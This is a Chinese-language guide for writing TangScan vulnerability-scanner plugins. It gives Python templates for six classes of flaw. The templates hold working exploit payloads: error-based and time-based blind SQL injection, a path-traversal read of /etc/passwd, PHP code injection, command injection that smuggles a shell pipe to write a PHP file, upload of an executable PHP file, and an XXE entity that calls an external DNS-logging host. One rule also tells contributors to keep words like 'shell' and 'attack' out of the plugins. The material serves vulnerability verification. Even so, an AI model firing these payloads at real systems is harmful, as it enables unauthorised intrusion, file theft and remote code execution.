TangScan几种漏洞类型的插件模板
在展示各类模板前也对一些简单的规范说明一下:
1、非特殊需求请使用requests模块来帮助您完成请求(from thirdparty import requests);
2、非特殊需求请求超时时间设置为15秒,且不要忘记verify=False。
3、不得在插件中带有不和谐的关键字,比如:TangScan、后门、shell、WebShell、入侵、攻击等等;
4、插件代码一定要做异常处理,很多考虑不到的情况会导致插件代码报错。
5、请求多的插件(如盲注)各个请求之间sleep 0.2-0.4秒,防止给目标站点带来压力,同时也不影响注入结果。
6、插件信息要正确无误且完善,标题规范为xx应用xx页面(xx参数)xx漏洞,如:Oblog /tags.asp tagid参数SQL注入漏洞
7、插件要将简单的利用结果展示出来如注入类的数据库版本、文件读取类的文件内容等;同时也要将利用方法放到结果中去(如:目标 xxx 存在xxx漏洞,获取到的数据库版本为 xxx,漏洞地址:xxxx,POST参数:xxxx)。
插件不规范或不符合要求的审核时会扣取一定汤圆或直接打回重写。
一、注入类
1、非盲注
def verify(self):
exp_url="{domain}/xxxx?sql=a' and 1=CONVERT(int,CHAR(126)%2BCHAR(126)%2BCHAR(126)%2B@@version%2BCHAR(126)%2BCHAR(126)%2BCHAR(126))--".format(domain=self.option.url.rstrip('/'))
try:
response = requests.get(url=exp_url, timeout=15, verify=False)
result = re.findall(r'~~~(.*?)~~~', response.content, re.S | re.I)
except Exception, e:
self.result.error = str(e)
return
if len(result) == 0:
self.result.status = False
return
self.result.status = True
self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的数据库版本信息: {version}\n\t测试链接: {eurl}".format(
url=self.option.url,
version=result[0],
eurl=exp_url
)
说明:使用正则去匹配运算出来的字符串~~~之间的内容,可避免误报。为何不能使用’~~~’+@@version+’~~~’,请参考:http://zone.wooyun.org/content/23375
2、盲注
def verify(self):
user = ""
user_length = 0
exp_url = ("{domain}/login.cgi".format(domain=self.option.url))
payloads = ['@','_','.', '-', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0']+ list(string.ascii_lowercase)
data = {
"act":"login",
"user_name":"",
"user_pwd":"222222"
}
l = "111111' AND (SELECT * FROM (SELECT(if(length(substring(version(),1))=%s,sleep(8),0)))xss) AND 'xss'='xss"
s = "111111' AND (SELECT * FROM (SELECT(if(ascii(lower(mid(version(),%s,1)))=%s,sleep(6),0)))xss) AND 'xss'='xss"
for x in range(1, 30):
start = time.time()
data["user_name"] = l % str(x)
try:
response = requests.post(exp_url, data=data, timeout=15, verify=False)
time.sleep(0.3)#限制请求速率
if response.status_code != 200:
self.result.status = False
return
except Exception,e:
self.result.error = str(e)
return
end = time.time()
if (end - start) >=8:
user_length = x
break
if user_length == 0:
self.result.status = False
return
for x in range(1, user_length+1):
for payload in payloads:
start = time.time()
data["user_name"] = s % (str(x), str(ord(payload)))
try:
response = requests.post(exp_url, data=data, timeout=15, verify=False)
time.sleep(0.3)#限制请求速率
if response.status_code != 200:
self.result.status = False
return
except Exception,e:
self.result.error = str(e)
return
end = time.time()
if (end - start) >=6:
user = user + payload
if user.find("5.")==-1:#减小误报机率
self.result.status = False
return
self.result.status = True
self.result.description = "目标 {url} 存在SQL注入漏洞, 获取到的当前数据库版本为:{db_user}".format(
url=self.option.url,
db_user=user
)
注意这么几个地方:
1、你可以使用更好的方法来获取数据(比如二分法、多线程),但前提是代码要简洁易懂。
2、每个请求之间sleep 0.2-0.4秒,以避免给目标站点带来过大压力。
3、最终的结果(数据库版本)要查找有无关键字:5.(MYSQL)、Micro(MSSQL)、Ora(Oracle),这样能很大程度减小误报机率。数据库版本信息不一定非要跑完,能证明存在注入就行,如MSSQL跑前面的 Microsoft SQL Server 20xx即可。
二、任意文件读取类
def verify(self):
exp_url = ("{domain}/plugin.php?action=../../../../../../../../etc/passwd%00&id=dc_mall".format(domain=self.option.url))
try:
response = requests.get(exp_url, timeout=15, verify=False)
if response.content.find(":root:") != -1:
self.result.status = True
self.result.description = "目标 {url} 存在任意文件读取漏洞,测试方法:{eurl},获取到的/etc/passwd内容:\n {content}".format(
url=self.option.url,
eurl=exp_url,
content=response.content
)
except Exception, e:
self.result.error = str(e)
return
说明:Linux一般读取/etc/passwd根据返回内容中有无:root:来判断漏洞是否存在,Windows一般读取C:\Windows\win.ini,判断返回结果中有无[MCI Extensions.BAK]来验证漏洞是否存在。如遇特殊情况,可读取网站目录下的脚本文件或配置文件,根据其中的关键字来判断漏洞是否存在(如:xxx.php、xxx.xml等)。
三、代码执行类
def verify(self):
exp_url = "{domain}/preview.php".format(domain=self.option.url.rstrip('/'))
data = "previewtxt=<?php echo 23333334-1;?>"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.3; rv:39.0) Gecko/20100101 Firefox/39.0",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
response = requests.post(exp_url, data=data, headers=headers, timeout=15, allow_redirects=False, verify=False)
except Exception, e:
self.result.error = str(e)
return
if response.content.find("23333333") == -1:
self.result.status = False
return
self.result.status = True
self.result.description = "目标 {url} 存在代码执行漏洞, 测试链接: {eurl}, POST数据为: {post_data}".format(
url=self.option.url,
eurl=exp_url,
post_data=data
)
四、命令执行类
def verify(self):
filename = "tang_%s.php" % str(random.randint(1111, 9999))
exp_url = ("{domain}/acc/tools/enable_tool_debug.php?val=0&tool=1&par=172.0.0.1' | echo '<?php echo(2333334-1);?>' >{file}| '".format(domain=self.option.url, file=filename))
vfy_url = ("{domain}/acc/tools/{file}".format(domain=self.option.url, file=filename))
try:
response = requests.get(exp_url, timeout=15, verify=False)
if response.status_code == 200:
response = requests.get(vfy_url, timeout=15, verify=False)
else:
self.result.status = False
return
except Exception, e:
self.result.error = str(e)
return
if response.content.find('2333333') == -1:
self.result.status = False
return
self.result.status = True
self.result.description = "目标 {url} 存在远程命令执行漏洞,测试方法:{eurl},使用echo命令生成的测试文件地址:{adr}".format(
url=self.option.url,
eurl=exp_url,
adr=vfy_url
)
五、文件上传类
def verify(self):
url = "{domain}/webservice/upload.php".format(domain=self.option.url.rstrip('/'))
randnum = random.randint(666, 666666)
filename = "error"+str(randnum)+".php"
vef_url = self.option.url.rstrip('/') + "/attachment/{attachment_id}/" + filename
shell = "<?php print(md5('1'));?>"
files = {
'file' : (filename, shell, 'image/jpeg'),
}
try:
response = requests.post(url=url, files=files, timeout=15, verify=False)
attachment_id = re.findall(r'(\d+?)\*', response.content, re.S|re.I)
if len(attachment_id) == 0:
self.result.status = False
return
vef_url = vef_url.format(attachment_id=attachment_id[0])
response = requests.get(url=vef_url, timeout=15, verify=False)
except Exception,e:
self.result.error = str(e)
return
if response.content.find('c4ca4238a0b923820dcc509a6f75849b') == -1:
self.result.status = False
return
self.result.status = True
self.result.description = "目标 {url} 存在任意文件上传漏洞,上传的测试文件地址为:{shell_url}".format(
url= self.option.url,
shell_url= vef_url
)
说明:
1、代码执行、命令执行、文件上传类均可以在Web目录生成一个代码文件,然后访问此文件,通过判断代码有没有执行得到预期的关键字来验证漏洞是否存在。不能仅仅判断访问上传后的文件是否200来判断上传成功,有些情况下上传目录不解析。
2、生成的文件名要随机化(如:tang_xxxx.xxx),不能固定。
六、CloudEye验证类
def verify(self):
exp_url = ("{domain}/xxxx/xxxx/xxxx".format(domain=self.option.url))
headers = {
"SOAPAction": "",
"Content-Type": "text/xml;charset=UTF-8"
}
try:
domain = "%s"%(urlparse.urlparse(self.option.url).netloc)
num_str = str(random.randint(11111, 99999))
judge = "[%s][%s]"%(domain, num_str)
data = """\
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [<!ENTITY %% remote SYSTEM "http://xxx.12e68e.dnslog.info/%s">%%remote;]>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://www.live800.com">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:check>
<urn:in0>1</urn:in0>
</urn:check>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
"""%judge
exp = requests.post(exp_url, headers=headers, data=data, timeout=15, verify=False)
time.sleep(5)#防止网络延迟导致漏报
cloudeye_url = "http://cloudeye.me/api/3fd078bf283461ca24f3fb87f7860d35/xxx"
response = requests.get(cloudeye_url, timeout=15, verify=False)
if response.content.find(domain)!=-1 and response.content.find(num_str)!=-1:
self.result.status = True
self.result.description = "目标 {url} 存在XXE漏洞, 地址:{eurl} SOAP请求数据如下:\n{data}".format(
url=self.option.url,
eurl=exp_url,
data=data,
)
except Exception, e:
self.result.error = str(e)
return
说明:使用CloudEye验证时注意设置一个延时,以防漏报。
CloudEye介绍请见:http://zone.wooyun.org/content/18962